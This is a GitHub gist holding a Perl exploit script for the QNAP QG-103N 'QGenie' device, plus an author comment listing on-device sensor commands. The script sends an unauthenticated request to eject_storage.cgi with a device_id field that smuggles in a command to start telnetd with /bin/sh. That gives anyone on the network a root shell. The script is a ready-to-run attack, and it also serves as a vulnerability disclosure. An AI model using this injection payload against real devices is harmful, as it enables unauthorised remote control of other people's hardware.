Skip to content

Instantly share code, notes, and snippets.

@wildstray

wildstray/qgenie_telnet.pl

Last active April 21, 2026 23:45
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save wildstray/2803b6cca2835f5a1721d7ffc377078f to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save wildstray/2803b6cca2835f5a1721d7ffc377078f to your computer and use it in GitHub Desktop.
Download ZIP
QNAP QG-103N "QGenie" hack: remote execution of telnetd ;-) It seems that QGenie firmware was originally something other (router?) from AXIMCom. Its firmware (up to last version available, 3.2.2) is really insecure: no privilege separation, no input validation neither user authentication for CGI scripts.
Raw
qgenie_telnet.pl
#!/usr/bin/perl
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common qw(GET POST);
my ($nas_ip) = @ARGV;
die "$0 <QGenie_IP_Address>\n" if (not defined $nas_ip);
my $ua = new LWP::UserAgent(timeout => 20, requests_redirectable => []);
my $payload = 'telnetd$IFS-l$IFS/bin/sh';
my $script = 'eject_storage.cgi';
my $response = $ua->request(POST "http://$nas_ip/$script", [device_id=>"AAA;$payload;#"]);
print $response->content;
print "\n";
@wildstray

wildstray commented Mar 16, 2018 •
edited
Loading

Copy link
Copy Markdown
Author

Some interesting commands of QGenie... it seems is has some sensors...

# ezp-i2c gauge temp
Temperature: 37.05 'C
# ezp-i2c gauge voltage
Voltage: 3923 mV
# ezp-i2c gauge current
Current: 133 mA
# ezp-i2c gauge percentage
Battery: 66 %
# ezp-i2c gauge oled <=== DON'T! it segfaults and display will remains totally black or white

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment